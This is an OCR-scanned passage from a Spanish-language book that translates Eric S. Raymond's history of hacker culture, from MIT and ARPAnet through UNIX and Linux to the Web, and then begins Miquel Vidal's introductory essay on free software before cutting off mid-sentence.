Auténtico de Elite.

A otro nivel, Stan Kelly-Bootle, autor de The Devil’s DP Dictionary
(New York, McGraw-Hill, 1981) y gran folklorista, programé en la
Manchester Mark I, la primera computadora digital totalmente operati-
vay con un programa almacenado en la memoria, en 1948. Hoy escribe
columnas humoristicas sobre tecnologia para revistas de computacion
gue suelen adoptar la forma de conversaciones intensas y sabias con la
cultura hacker.

Otros, como David E. Lundstrom, han escrito la historia de esos pri-
meros afios y sus anécdotas (A Few Good Men From UNIVAC.
Cambridge, MIT Press, 1987).

Lo que introdujo la cultura de los “Programadores Auténticos” fue
el despertar de la computacion interactiva, las universidades y las redes.
Estas dieron nacimiento a una ininterrumpida tradicion de ingenieria 'y
programas que, eventualmente, daria lugar a la actual cultura hacker de
codigo abierto.

3. La Jargon File (Archivo de Argot, o Jerga) es una recopilacién armada colectiva-
mente por hackers de términos que utilizan para hablar de su trabajo, y que tam-
bién incluye historias y anécdotas de hackers famosos. La cantidad de nuevas
expresiones, metaforas y juegos de palabras que contiene, descriptas e historizadas
con verdadero amor filologico, podrian llenar las paginas de un diccionario
mediano. Su origen se remonta a principios de los ‘70, cumpliendo el rol de heren-
cia comun del ambito hacker. Su editor actual es Eric S. Raymond
(http://www.catb.org/~esr/jargon/). (N. del T.)

4. Un poster colgado en muchos laboratorios de computacion, que parodiaba a los
avisos de advertencia nazis (ver Jargon File). (N. del T.)
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Los Primeros Hackers

Los inicios de la cultura hacker como la conocemos hoy pueden
fijarse en 1961, el afio en que el MIT [Instituto de Tecnologia de
Massachusetts] adquirié la primera PDP-1.5 El Club de Tecnologia de
Trenes a Escala del MIT adopté la maquina como su juguete favorito e
invent6é herramientas de programacién, argot y toda una cultura a su
alrededor que todavia sigue entre nosotros. Estos primeros afios se
narran en la primera parte del libro Hackers de Steven Levy (New York,
Bantam Books, 1984).

La cultura informéatica del MIT parece ser la primera en adoptar el
término “hacker”. Los hackers del Club de Modelos de Trenes se con-
virtieron en el nacleo del Laboratorio de Inteligencia Artificial (1A) del
MIT, el centro lider mundial en investigaciones sobre 1A a principios de
los ‘80. Su influencia se extendi6 sobre todo a partir de 1969, el primer
afio de la red ARPA.

La red ARPA fue la primera red de computadoras transcontinental
de alta velocidad. Fue creada por el Departamento de Defensa como un
experimento sobre comunicaciones digitales, pero fue creciendo hasta
conectar a cientos de universidades, laboratorios de investigacion e
industrias armamentisticas. Permitio a los investigadores de todas par-
tes intercambiar informacién a una velocidad y flexibilidad sin prece-
dentes, dandole un impulso enorme a los trabajos en colaboracién e
incrementando tremendamente el ritmo y la intensidad del avance tec-
noldgico.

Pero la red ARPA también hizo otra cosa. Sus autopistas electréni-
cas pusieron en contacto a hackers de todo EE.UU. creando una masa
critica; en lugar de permanecer aislados en pequefios grupos, cada uno
desarrollando sus propias culturas locales y efimeras, se descubrieron
(o se reinventaron) como tribu unida en red.

Los primeros artefactos deliberados de la cultura hacker —las pri-
meras antologias de argot, las primeras satiras, las primeras discusiones
conscientes sobre ética hacker— se propagaron por la red ARPA en los

5. Minicomputadoras que eran versiones reducidas de las viejas centrales, pero aliin
de tamafio considerable, similar al de una heladera, (N. del T.)
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primeros afios (la primera versién de la Jargon File, por ejemplo, data de
1973). La cultura hacker fue creciendo en las universidades conectadas
a la Red, en especial (aungque no exclusivamente) en sus departamentos
de ciencia.

En cuanto a técnica, el laboratorio de Inteligencia Artificial del MIT
estaba por encima de los demas a fines de los ‘60. Pero el Laboratorio de
Inteligencia Artificial de la Universidad de Stanford (SAIL) y (luego) la
Universidad de Carnegie-Mellon (CMU) devinieron casi igual de
importantes. Todos eran centros florecientes de ciencia informatica e
investigacion de IA. Todos atrajeron a brillantes personas que le aporta-
ron a la cultura hacker grandes cosas, en ambos niveles, técnico y
folkldrico.

Pero para comprender lo que vino después tenemos que echarles
otra mirada a las propias computadoras, porque el auge de los labora-
torios y su eventual caida se debieron ambos a olas de cambios en la tec-
nologia de las maquinas.

Desde los dias de la PDP-1 la suerte de la cultura hacker se vio
unida a la serie de minicomputadoras PDP de DEC (Corporacion de
Equipos Digitales). DEC era pionera en computacién comercial interac-
tiva y sistemas operativos de recursos compartidos. Debido a que sus
maquinas eran flexibles, poderosas y relativamente baratas para la
época, muchas universidades las compraban.

Los recursos compartidos fueron el medio en el que florecid la cul-
tura hacker y, durante la mayor parte de su existencia, la red ARPA fue
basicamente una red de maquinas DEC. La méas importante de éstas fue
la PDP-10, de 1967. Las 10 fueron las maquinas favoritas de la cultura
hacker por casi quince afios; TOPS-10 (el sistema operativo de DEC) y
MACRO-10 (su lenguaje de programacion) se recuerdan todavia con
nostalgia; los dos produjeron abundante argot y folklore.

El MIT, pese a usar las mismas PDP-10 que los demas, tomd un
camino ligeramente distinto; descartaron todo el software de DEC para
la PDP-10y se dedicaron a disefiar su sistema operativo propio, el miti-
co ITS.

ITS queria decir: “Sistema de Recursos Compartidos No
Compatible”,6 lo que da una idea aproximada de su actitud. Lo querian

6. O sea, de Recursos Compartidos como otros sistemas operativos, pero No-
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hacer a su manera. Por suerte para todos, la gente del MIT era inteli-
gente ademas de arrogante. ITS, a pesar de ser excéntrico y complicado,
y de estar, a veces, cargado de errores, aportaba una serie de innovacio-
nes técnicas brillantes y seguramente mantiene todavia el récord para el
sistema de recursos compartidos vigente por mayor tiempo.

ITS estaba escrito en assembler,” pero muchos proyectos de ITS se
escribian en un lenguaje con elementos de Inteligencia Artificial llama-
do LISP. LISP era més poderoso y flexible que los demas lenguajes de la
época; de hecho, posee un disefio superior a la mayoria de los lenguajes
de la actualidad, después de veinticinco afios. LISP les dio libertad a los
hackers de ITS para pensar de maneras creativas e inusuales. Fue un fac-
tor importante en sus éxitos, y sigue siendo un lenguaje favorito de la
cultura hacker.

Muchas creaciones técnicas de la cultura de ITS hoy siguen vivas; el
editor de programas Emacs8 quizas sea la mas conocida. Y mucho del
folklore de ITS sigue “vivo” para los hackers, como se puede ver en la
Jargon File.

SAIL (Stanford) y CMU (Carnegie-Mellon) no se quedaron quietas,
tampoco. Muchos cuadros hackers que se formaron en torno a las
PDP-10 de SAIL se convirtieron después en figuras clave del desarrollo
de las computadoras personales y las interfaces actuales tipo
ventana/icono/mouse. Y los hackers de CMU hacian experimentos que
conducirian a las primeras aplicaciones practicas a gran escala de siste-
mas expertos y roboética industrial.

Otra zona importante de la cultura era Xerox PARC, el famoso
Centro de Investigaciones de Palo Alto. Por mas de una década, desde
principios de los ‘70 hasta mediados de los ‘80, PARC entregé un volu-
men sorprendente de innovaciones revolucionarias de hardware y
software. El estilo moderno de las interfaces con mouse, ventanas e ico-
nos se inventd alli. También las impresoras laser y las redes locales; la
serie de computadoras D de PARC se anticip6 una década a las podero-
sas computadoras personales de los ‘80. Lamentablemente, estos profe-
tas no eran escuchados en su propia compafiia; tanto es asi que se vol-

Compatible, por ser mucho mejor que los demas. (N. del T.)
7. Lenguaje de bajo nivel, muy técnico y dificil de leer y escribir. (N. del T.)
8. El creador de este programa fue Richard Stallman. (N. del T.)
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Vi6 un chiste repetido describir a PARC como un lugar dedicado a des-
arrollar ideas brillantes para que las usaran otros. Su influencia en la
cultura hacker fue amplia.

Las culturas de la red ARPA y PDP-10 aumentaron su vigor y
variedad a lo largo de los ‘70. Los sistemas de listas de correo electréni-
co que se habian usado para nutrir la cooperacién entre grupos de inte-
rés dispersos por los continentes, se usaban cada vez més con propdsi-
tos sociales y recreativos. En ARPA se hizo la “vista gorda” a toda acti-
vidad técnica “no autorizada” —la sobrecarga de datos era un precio
menor a cambio de atraer al campo de la informaética a una generacién
de jovenes brillantes.

De las listas de mails “sociales” de la red ARPA, la mas popular
debia ser la SF-LOVERS (Amantes de la Ciencia Ficcidn); de hecho,
sigue funcionando hoy dentro de la red més extensa llamada “Internet”,
la cual absorbi6 a la red ARPA. Pero habia muchas otras, que inaugura-
ban un estilo de comunicacién que mas tarde seria explotado comer-
cialmente por servicios de recursos compartidos como Compuserve,
GEnie y Prodigy.

El surgimiento de UNIX

Mientras tanto, sin embargo, en un salvaje lugar de Nueva Jersey
otra cosa habia estado sucediendo desde 1969 que eventualmente opa-
caria la tradicion de la PDP-10. El afio del nacimiento de la red ARPA
fue también el afio en que un hacker de los laboratorios Labs llamado
Ken Thompson invento el sistema operativo UNIX.

Thompson habia estado involucrado en el desarrollo de un sistema
operativo de recursos compartidos llamado Multics, que tenia origenes
comunes con ITS. Multics fue un espécimen de prueba para algunas
ideas sobre como la complejidad de un sistema operativo se podria
ocultar en su interior, imperceptible para el usuario e incluso para la
mayoria de los programadores. La idea era lograr que usar Multics
desde afuera (jy programar para él') se tornara mas sencillo, para que
pudiera realizarse mas trabajo concreto.

Bell Labs abandond el proyecto cuando Multics mostré sefiales de
estar mutando en un inservible elefante blanco (el sistema fue puesto a
la venta luego por la empresa Honeywell pero nunca tuvo éxito). Ken
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Thompson se quedo sin el entorno Multics, y empez6 a hacer pruebas
con una mezcla de sus ideas y otras propias en una DEC PDP-7 rescata-
da de la basura.

Otro hacker llamado Denis Ritchie invent6é una nuevo lenguaje lla-
mado “C” para usar bajo el UNIX embrionario de Thompson. Al igual
que UNIX, C fue disefiado para ser amable, ligero y flexible. En Bell
Labs se despertd el interés por estas herramientas, y recibieron un
impulso en 1971 cuando Thompson y Ritchie ganaron una convocatoria
para producir lo que hoy llamariamos un sistema de automatizacion de
oficina para uso interno. Pero Thompson y Ritchie tenian en mente algo
mas grande.

Tradicionalmente, los sistemas operativos se escribian en lenguaje
assembler ajustado para extraer la eficiencia mas alta de las computa-
doras que los albergaban. Thompson y Ritchie fueron de los primeros
en darse cuenta de que la tecnologia de hardware y de compiladores se
habia vuelto lo suficientemente buena para poder escribir un sistema
operativo enteramente en C, y para 1974 el sistema completo habia sido
transportado con éxito a diversas computadoras de diferentes tipos.

Esto no se habia hecho nunca, y las implicancias fueron enormes. Si
Unix podia mostrar el mismo aspecto, las mismas caracteristicas, en
computadoras diferentes, podia servir como entorno de software
comun para todas ellas. Los usuarios no tendrian que pagar nunca mas
por el disefio del software cada vez que cambiaban de computadora.
Los hackers podrian llevar consigo sus herramientas entre diferentes
magquinas, en lugar de tener que reinventar el fuego y la rueda en cada
ocasion.

Ademas de la portabilidad, Unix y C tenian otros aspectos ventajo-
sos. Ambos estaban disefiados segun una filosofia de “jHazlo simple,
estupido!”. Un programador podia manejar en la cabeza toda la estruc-
tura légica del C (a diferencia de la mayoria de los lenguajes anteriores)
en vez de tener que consultar los manuales todo el tiempo; y UNIX se
estructuraba como un kit de programas simples disefiados para combi-
narse entre si de maneras productivas.

Esta combinacion mostré ser adaptable a una gama muy amplia de
tareas informaticas, incluyendo muchas totalmente imprevistas por sus
disefadores. Se difundié con gran rapidez dentro de AT&T, pese a no
contar con ningun apoyo formal de la empresa. Para 1980 se habia
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difundido por un gran namero de universidades y sitios de investiga-
cion informética, y miles de hackers lo consideraban su hogar.

Las locomotoras de la cultura UNIX inicial fueron las PDP-11y sus
descendientes, las VAX. Pero debido a la portabilidad de UNIX, éste
corria sin modificaciones esenciales en una diversidad de computadoras
mayor de las que se podia encontrar en toda la red ARPA. Y nadie usaba
assembler; los programas en C se traspasaban al instante entre esas
computadoras.

Unix tenia incluso su propia red, de tipo UUCP (Protocolo de
Transferencia Unix a Unix): lenta e inestable, pero barata. Dos maquinas
Unix podian intercambiar correo electrénico punto-a-punto por la linea
de teléfono comun; esta opcidn era parte del sistema, no un agregado
especial. Los sitios Unix comenzaron a formar en si una nacién en red,
y una cultura hacker la acompafié. En 1980, aparece el primer nodo
Usenet que pronto se extenderia hasta superar a ARPA.

En la red ARPA habia pocos sitios Unix. Las culturas de las PDP-10
de ARPA vy la de Unix comenzaron a encontrarse y confluir en los bor-
des, pero no combinaron bien al principio. Los hackers de la PDP-10
tendian a considerar a los de Unix como una banda de aficionados, que
usaba herramientas de aspecto tosco y primitivo si se las comparaba con
las barrocas y adorables complejidades de LISP e ITS. “jCavernicolas!”
—les decian.

Y ademas habia una tercera corriente avanzando. La primera com-
putadora personal habia salido al mercado en 1975. Apple se fundé en
1977, y en los afios siguientes se produjeron avances a una velocidad
casi increible. La potencialidad de las microcomputadoras® era eviden-
te, y atrajo a una nueva generacién de jévenes y brillantes hackers. Su
lenguaje era el BASIC, tan primitivo que tanto los partisanos de la PDP-
10 como los aficionados de Unix lo despreciaban.

El Fin de los Viejos Tiempos
Asi estaban las cosas en 1980: tres culturas, que se superponian en

los bordes pero que estaban organizadas en torno a tecnologias muy

9. Las nuevas computadoras personales (Apple, PC, Spectrum, Commodore, etc.)
(N. del T.)
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diferentes: a) la cultura de la red ARPA/PDP-10, fiel a LISP y MACRO y
TOPS-10 e ITS. b) La gente de Unix y C con sus PDP-11"s y sus VAX y
sus lentas conexiones telefdnicas. Y ¢) una horda anarquica de aficiona-
dos a las computadoras chicas y baratas dedicados a darle a la gente el
poder de la computacion.

Entre éstas, la cultura de ITS todavia podia reivindicarse como “la
original”. Pero se cernian nubes de tormenta sobre el MIT. La tecnologia
de las PDP-10 de la que ITS dependia estaba envejeciendo, y el
Laboratorio mismo se dividié en departamentos para los primeros
intentos de comercializar tecnologias de Inteligencia Artificial. Algunos
de los mejores investigadores del MIT (y del SAIL y la CMU) partieron
tras empleos y altos sueldos en empresas de innovacién tecnolégica.

La estocada final se produjo en 1983, cuando DEC cancel6 sus pla-
nes a futuro para la PDP-10 para concentrarse en laPDP-11 y la linea
VAX. ITS perdio su habitat. Ya que no era portable, llevar el sistema ITS
a las nuevas computadoras requeria un esfuerzo que nadie estaba dis-
puesto a hacer. La version de Berkeley de Unix corriendo en maquinas
VAX se convirtié en el sistema por excelencia de los hackers, y cual-
quiera con cierta vision de futuro podia ver que las computadoras per-
sonales aumentaban su poder tan velozmente que barrerian con todo a
Su paso.

En esta época Levy escribid Hackers. Uno de sus mejores informan-
tes fue Richard Stallman (inventor de Emacs), una figura lider en el
Laboratorio del MIT y el vocero mas fanatico contra la venta comercial
de su tecnologia.

Stallman (a quien se conoce usualmente por sus iniciales y nombre
de login, RMS) cred la Free Software Foundation [Fundacion Software
Libre] y se dedic6 a escribir software libre de alta calidad. Levy lo des-
cribié como “el Ultimo hacker auténtico”, una descripcidn que por suer-
te se prob6 equivocada.

El gran estilo de trabajo de Stallman es un ejemplo claro de los cam-
bios que atravesaba la cultura hacker a principios de los ‘80; en 1982
comenzo la construccion de un clon completo de Unix, escrito en C y
disponible gratuitamente. Asi, el espiritu y la tradicion de ITS se pre-
servO como parte importante de la renovada cultura hacker de Unix y
las VAX.
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Fue en esta época también que las tecnologias del microchip y las
redes locales comenzaron a tener un impacto serio en la cultura hacker.
Ethernet y los microchips 68000 de Motorola fueron una combinacién
muy potente, y varias empresas se habian creado para disefar la pri-
mera generacién de lo que ahora llamamos estaciones de trabajo.

En 1982, un grupo de hackers del Unix de Berkeley fundaron Sun
Microsystems con la idea de que Unix corriendo en computadoras con
el chip 68000 —relativamente barato- seria una dupla ganadora para una
amplia gama de aplicaciones. Tenian razén, y su vision establecié el
standard para toda la industria. Aunque todavia estuvieran fuera del
alcance de las personas comunes, las estaciones de trabajo eran baratas
para las corporaciones y las universidades; las redes conectadas a ellas
(una estacion por usuario) remplazaron rapidamente a las viejas VAX 'y
otros sistemas de recursos compartidos.

La Era del Unix Propietario

En 1984, cuando Unix se convirtié en un producto comercial por
primera vez, la separacion mas importante en la cultura hacker lo cons-
tituian una “nacioén en red” relativamente unida, que habia crecido en
torno a Internet y Usenet (en su mayoria usando minicomputadoras o
terminales que usaban Unix), y un archipiélago en gran medida desco-
nectado de fanaticos de las computadoras personales desde sus casas.

Con las maquinas tipo estacion de trabajo10 de Sun y otras empre-
sas se abrieron nuevos mundos para los hackers. Se habian disefiado
para generar graficos de alto rendimiento y compartir datos en redes.
En los ‘80 la cultura hacker se concentré en sacar el mayor provecho de
estas caracteristicas por medio de software y el disefio de herramientas.
La versién del Unix de Berkeley incorporé soporte para emplear la red
ARPA, lo cual soluciond el problema de la conexién a la red y dio impul-
so al crecimiento de Internet.

Hubo varios intentos de domesticar los graficos de las estaciones de
trabajo. El que prevalecio fue el Sistema X Window. Un factor crucial de

10. Computadoras de alto rendimiento orientadas a funciones especificas (graficos,
calculos complejos, etc.). (N. del T.)
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su éxito fue que los creadores de X deseaban entregar gratuitamente las
fuentesll del programa de acuerdo con la ética hacker, y estuvieron en
condiciones de distribuirlas en Internet. Este triunfo de X Window sobre
los sistemas de graficos propietarios (incluido uno ofrecido por la pro-
pia Sun) senté un precedente importante de cambios que, pocos afios
después, afectarian profundamente al mismo Unix.

Quedaba en el ambiente un poco de melancolia que se sacaba a
relucir cada tanto en la rivalidad entre ITS y Unix (sobre todo del lado
de los de ex-ITS). Pero la ultima méaquina ITS dej6 de funcionar para
bien en 1990; a los fanaticos no les qued6 otra que aceptar la derrota y
asimilarse a la cultura Unix, aunque sea a regafiadientes.

En la cultura hacker conectada en red, la gran rivalidad de los ‘80 la
protagonizaron los fans de las versiones Berkeley y AT&T de Unix. A
veces todavia se encuentran copias de un poster de esa época, que
muestra una nave X-wing de Star Wars huyendo de una Estrella de la
Muerte con el logo de AT&T que vuela en pedazos. Los hackers de
Berkeley se veian a si mismos como rebeldes contra los mezquinos
imperios corporativos. EI Unix de AT&T nunca igualé al de
Berkeley/Sun en ventas, pero gand la guerra por los standards. Para
1990, se hacia dificil distinguir las versiones de Berkeley y AT&T, pues
habian adoptado muchas innovaciones una de la otra.

Al empezar los ‘90 la tecnologia de estaciones de trabajo de la déca-
da anterior empezaba a verse severamente asediada por nuevas com-
putadoras personales (PC’s), baratas y de alto rendimiento basadas en
el chip Intel 386 y sus sucesores. Por primera vez, los hackers podian
acceder en su casa a una computadora comparable en poder y almace-
namiento a las minicomputadoras de diez afios atras —sistemas Unix
capaces de sostener un entorno de desarrollo completo y comunicarse
con Internet.

El mundo del MS-DOS ni se enterd de esto. Aunque aquellos pri-
meros entusiastas de las computadoras personales se expandieron rapi-
damente a una poblacién de hackers de DOS y Mac en una magnitud
mayor que los de la cultura de la “nacién en red”, nunca se convirtieron

11. El texto original de un programa escrito por sus programadores. Es esencial
para saber como funciona, y aprender de él (N. del T.)
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en una cultura consciente de si misma. El ritmo de los adelantos era tan
veloz que surgieron cincuenta culturas tecnolégicas distintas y se extin-
guieron como moscas, sin alcanzar la estabilidad necesaria para de-
sarrollar una tradicion, argot, folklore e historia mitica comunes. La
ausencia de una red eficaz comparable a la UUCP o la Internet impidio
gue se convirtieran en una “nacién en red” por si mismas. El creciente
acceso telefonico a servicios comerciales tipo CompuServe y Genie
empezaba a imponerse, pero el hecho de que los sistemas operativos
distintos a Unix no vinieran con herramientas de desarrollo incorpora-
das hizo que circulara muy poco cédigo fuente. Asi, no se generé nin-
guna tradicidn cooperativa de “hacking”.

La cultura hacker, (des)organizada en torno a Internet y a esta altu-
ra identificada con la cultura tecnolégica de Unix, era indiferente a los
servicios comerciales. Ellos querian mejores herramientas y mas
Internet, y las PC de 32 bits baratas prometian poner ambas cosas al
alcance de todos.

¢Pero qué pasaba con el software? Los sistemas Unix seguian sien-
do caros, varios miles de délares. A principios de los ‘90 varias compa-
filas vendian versiones para PC del UNIX de AT&T o Berkeley (BSD). Su
éxito fue escaso, los precios no bajaron y (sobre todo) junto al sistema
operativo no se adquirian las fuentes modificables. EI modelo de nego-
cios tradicional del software no les daba a los hackers lo que querian.

Tampoco lo hacia la Fundacion de Software Libre. El desarrollo de
HURD, el cédigo de Unix abierto y libre para los hackers que Richard
Stallman venia prometiendo desde hace tiempo, quedé trabado duran-
te afios y no logré producir nada parecido a un sistema sélido hasta
1996 (aunque para 1990 la FSF ya brindaba casi todas las demaés partes
complejas de un sistema operativo estilo Unix).

Para peor, se hacia claro a comienzos de los ‘90 que los diez afios de
esfuerzos por hacer redituable la venta de Unix terminaban en fracaso.
La prometida portabilidad entre plataformas de Unix se extravio en
medio de batallas legales entre la mas de media docena de versiones
propietarias de Unix. Los que vendian Unix fueron tan torpes, ciegos e
ineptos para el marketing que Microsoft pudo robarles gran parte del
mercado con su tecnologia Windows ridiculamente inferior.

A principios de 1993, un observador hostil contaba con motivos
para decir que la historia de Unix se extinguia, y con ella la suerte de la
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tribu hacker. No escaseaban testigos asi en la prensa informética; la
inminente muerte de Unix se predecia ciclicamente cada seis meses
desde fines de los ’70 .

En aquellos dias todos creian que la era del tecno-heroismo se habia
acabado, que la industria del software y la naciente Internet serian
dominadas por colosos como Microsoft. La primera generacion de
hackers de Unix parecia agotada y envejecida (el grupo de Investigacién
de Ciencia Informatica de Berkeley se quedd sin nafta y perdio el apoyo
financiero en el ‘94). Fueron dias deprimentes.

Pero por suerte habian estado pasando cosas fuera de la vista de la
prensa comercial, y fuera incluso de la vista de la mayoria de los
hackers, que terminarian generando cambios muy motivadores a fines
de 1993 y 1994. Eventualmente, éstos llevarian a la cultura en una direc-
cion completamente nueva y hacia un éxito jamas sofiado.

Los Primeros Unix Libres

En el bache que dejé el intento fallido de Stallman de crear un Unix
libre,12 aparecié un estudiante de la Universidad de Helsinki Illamado
Linus Torvalds. En 1991 comenzé a desarrollar un kernell3 libre de
Unix para méaquinas 386 usando las herramientas de la Fundacion
Software Libre. Su veloz éxito inicial atrajo a muchos hackers de
Internet que cooperaron con él para desarrollar Linux, un Unix total-
mente equipado con fuentes gratuitas y de distribucién libre.

A Linux no le faltaban competidores. En 1991, al mismo tiempo que
los primeros experimentos de Linus Torvalds, William y Lyne Jolitz
estaban transportando a modo de prueba el Unix de Berkeley (BSD) a la
PC 386. La mayoria de los expertos que compararon la tecnologia de la
version BSD con los primeros intentos de Linus dijeron que esa adapta-
cion de BSD se convertiria en el Unix libre méas importante para la PC.

12. O sea, exento de derechos de autor y con su cédigo fuente disponible para
todos, por lo que se permite hacer copias y modificarlo. Ver la segunda seccion de
este volumen. (N. del T.)

13. El nticleo de instrucciones mas importantes de un sistema operativo. (N. del T.)
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Pero el aspecto méas importante de Linux no era técnico, sino socio-
I6gico. Hasta el desarrollo de Linux, todos creian que cualquier
software tan complejo como un sistema operativo debia desarrollarse
con cuidado, de manera coordinada, por un grupo muy unido y no muy
grande de personas. Este modelo es y era tipico tanto del software
comercial como de las grandes catedrales de software libre de la
Fundacién Software Libre de los ‘80; también de los proyectos
BSDlibre/BSDred/BSDabierto que derivaron de las implementaciones
de UNIX BSD 386 de Jolitz.

Linux evolucion6 de un modo radicalmente distinto. Casi desde el
principio, se abalanzaron con entusiasmo sobre él un enorme ndmero
de hackers coordinados sélo a través de Internet. La calidad se conse-
guia no por medio de standards rigidos o de verticalismo, sino por la
estrategia tan sencilla de hacer publicas las nuevas versiones todas las
semanas Yy a los pocos dias recoger las respuestas de cientos de usuarios,
creando una suerte de seleccion darwiniana acelerada sobre las muta-
ciones introducidas por programadores. Para sorpresa de la mayoria,
esto funciond bien.

Para fines de 1993, Linux podia competir en estabilidad y confiabi-
lidad con muchos Unix comerciales, y contaba con mayor cantidad de
software. Incluso empezaba a interesar a empresas comerciales. Un efec-
to indirecto de este proceso fue la desaparicién de la mayoria de los
pequerios distribuidores de Unix comerciales —que sin programadores y
hackers a los que venderles, quebraron. Uno de los pocos sobrevivien-
tes, BSDI (Berkeley Systems Design, Incorporated) se plegé a la nueva ten-
dencia, ofreciendo las fuentes completas de su Unix-BSD y cultivando
relaciones amistosas con la comunidad hacker.

Estos cambios pasaron desapercibidos en su momento, incluso den-
tro de la cultura hacker. La cultura hacker, desafiando todos los pronds-
ticos de su desaparicion, estaba empezando a redisefiar el mundo del
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software comercial a su semejanza. Pasarian cinco afios mas, de cual-
quier modo, antes de que esta tendencia se hiciera evidente.

La Gran Explosion de la Web

El crecimiento inicial de Linux se potencié con otro fenédmeno: el
descubrimiento masivo de la Internet. El inicio de los ‘90 también vio el
inicio de una floreciente industria de proveedores de Internet, que ven-
dian el acceso por unos pocos doélares al mes. Con la invencion de la
World Wide Web,14 el ya rapido crecimiento de Internet se hizo vertigi-
noso.

Para 1994, el afio en que el grupo de desarrollo del Unix de Berkeley
anunci6 formalmente que se retiraba, varias versiones libres diferentes
de Unix (Linux y las descendientes de BSD 386) fueron los focos de aten-
cién de la actividad hacker. Linux se estaba distribuyendo comercial-
mente en CD-ROM vy vendiéndose como pan caliente. Para fines de
1995, las grandes compafiias de informatica comenzaban a publicar
anuncios cargados de argot celebrando lo facil que era entrar a Internet
con sus computadoras y software.

A fines de los ‘90 las actividades principales de la cultura hacker
fueron el desarrollo de Linux y la popularizacion de Internet. La World
Wide Web transformo la Internet en un medio masivo, y muchos de los
hackers de los ‘80 y principios de los ‘90 lanzaron Servicios de
Proveedores de Internet vendiendo o facilitando el acceso a las masas.

La popularizacion de Internet trajo ademas para la cultura hacker el
inicio de su respetabilidad publica y de la intervencion politica. En 1994
y 1995 el activismo de los hackers abort6 el programa Clipper, que
hubiera puesto la encriptacion avanzada de datos bajo control del
gobierno. En 1996 los hackers movilizaron una amplia coalicién para
combatir la mal llamada “Acta de Decencia de las Comunicaciones” y
prevenir la censura en Internet.

14. Internet existia desde fines de los ‘60, pero los protocolos para paginas web
aparecen a principios de los ‘90. (N. del T.)
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Con esta victoria pasamos de la historia a la realidad actual.
También pasamos a un periodo en el que vuestro historiador se con-
vierte en actor, no sélo observador. Esta narracién continuara en “The
Revenge of the Hackers” [La Venganza de los Hackers].15

“Todos los gobiernos son en mayor o menor medida alianzas
contra el pueblo ... y en tanto los gobernantes no poseen mas virtu-
des que los gobernados ... el poder de un gobierno sélo puede mante-
nerse dentro de los limites constitucionales a través de la exhibicion
de un poder equiparable a él, el sentimiento colectivo del pueblo.”

Benjamin Franklin, en un editorial
de Philadelphia Aurora, 1794

15. Este texto de Raymond se encuentra en AA.VV., Open Sources: Voices from the
open source revolution, Sebastopol (EE.UU.), O'Reilly, 1999 (versién en internet:
http://www.oreilly.com/catalog/opensources/book/raymond2.html), asi como tam-
bién en la edicion ampliada de su The Cathedral & the Bazaar: Musings on Linux and
Open Sourse by an Accidental Revolutionary. Sebastopol, O'Reilly, 2001 (versién en
internet: http://www.catb.org/~esr/writings/cathedral-bazaar/). [hay trad. cast. en
elaboracion de la compilacion Open Sources en TLDP-ES/LUCAS (Hispalinux); ver
http://es.tldp.org/htmls/proy-opensources.html] (N. del E.)
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Cooperacion sin mando: una introduccion al
software libre

Miquel Vidal

Si bien el software libre no es un fenébmeno nuevo ya que existe
desde los origenes de la informatica, si es relativamente reciente su
modelo cooperativo de produccion en red —el llamado modelo bazar-y el
movimiento social que lo avala —la comunidad del software libre. No ha
sido hasta los altimos cinco afios en que, ligado a la extension de
Internet y a la popularizacién de los ordenadores personales, el movi-
miento del software libre ha alcanzado su masa critica, ha dejado de ser
sélo cosa de algunos programadores y se ha convertido en un fenéme-
no de cooperacion social liberada. En la época de la subsuncion real de
la totalidad de las fuerzas productivas bajo el capital, en la cual todo
acaba valorizado en términos mercantiles, las empresas han tardado en
advertirlo pero finalmente se han lanzado a la caza y captura de esta
increible maquina productiva, tal vez la mayor empresa colectiva que
existe hoy dia. (Qué es pues el software libre, que tanto interés esta
empezando a despertar?

1. ;Qué es el software?

El software es una produccion inmaterial del cerebro humano vy tal
vez una de las estructuras méas complicadas que la humanidad conoce.
De hecho, los expertos en computacién aun no entienden del todo co6mo
funciona, su comportamiento, sus paradojas y sus limites.1

1. El empefio por crear procesos computacionales cada vez mas mecanizados y
“autoconstructivos” nos ofrece algunos ejemplos de esos limites, que son los de la
I6gica. Gracias al genial matematico Kurt Godel, se conocen bien algunos de esos

[45]
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Basicamente, el software es un plan de funcionamiento para un tipo
especial de maquina, una maquina “virtual” o “abstracta”. Una vez
escrito mediante algun lenguaje de programacion, el software se hace
funcionar en ordenadores, que temporalmente se convierten en esa
maquina para la que el programa sirve de plan. El software permite
poner en relacién al ser humano y a la maquina y también a las maqui-
nas entre si. Sin ese conjunto de instrucciones programadas, los ordena-
dores serian objetos inertes, como cajas de zapatos, sin capacidad
siquiera para mostrar algo en la pantalla.

Los ordenadores sélo procesan lenguaje binario,2 pero para las per-
sonas este no es un modo valido de comunicarse (salvo a nivel sinapti-
co :-). Si bien en los tiempos heroicos de los primeros ordenadores no les
guedaba otro remedio que hacerlo, los programadores hace mucho que
no escriben su codigo en lenguaje binario (denominado técnicamente
“codigo-maquina’), pues es terriblemente tedioso, improductivo y muy
sujeto a errores. Hace tiempo que los programadores escriben las ins-
trucciones que ha de ejecutar el procesador de la maquina mediante len-
guajes formales, llamados “de alto nivel”, bastante cercanos al inglés, si
bien con rigidas reglas sintacticas que lo asemejan a los lenguajes 16gi-
co-formales. Esto facilita enormemente la tarea de escribir programas
pero, para que esas instrucciones sean comprensibles para el procesa-
dor, deben ser convertidas antes a codigo-maquina. Esa conversion se
realiza comodamente con programas especiales, llamados compilado-
res. A lo que escribe el programador se le denomina “cédigo-fuente”. Al
resultado de la “conversion” (compilacion) en lenguaje-maquina, se le

denomina “codigo-objeto”, “binarios” o “ficheros ejecutables”. En prin-

limites en la nocién de recursién, parte fundamental de la informética moderna.
Uno de ellos es la irresolubilidad del “problema de la detencién”, que consiste en
decidir, dado un ordenador arbitrario provisto de un programa y de unos datos
arbitrarios, si llegara a detenerse o si quedara atrapado en un bucle infinito. Otro
es la demostracion de que ninglin programa que no altere el sistema operativo de
un ordenador serd capaz de detectar todos los programas que si lo hagan (por
ejemplo, los virus).

2. O sea, basado en dos estados, conocidos universalmente como “bits” (binary
digits). La Idgica binaria no es una limitacion ontolégica de las maquinas, de hecho
algunos de los primeros ordenadores, como el ENIAC, operaban en base 10. Si los
ordenadores se construyen con arquitectura biestable es porque resultan mucho
mas sencillos y baratos de fabricar que si ese mismo hardware estuviese obligado
a instanciar diez estados distintos.
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cipio, al usuario comun sélo le importa este ultimo nivel, los “binarios”,
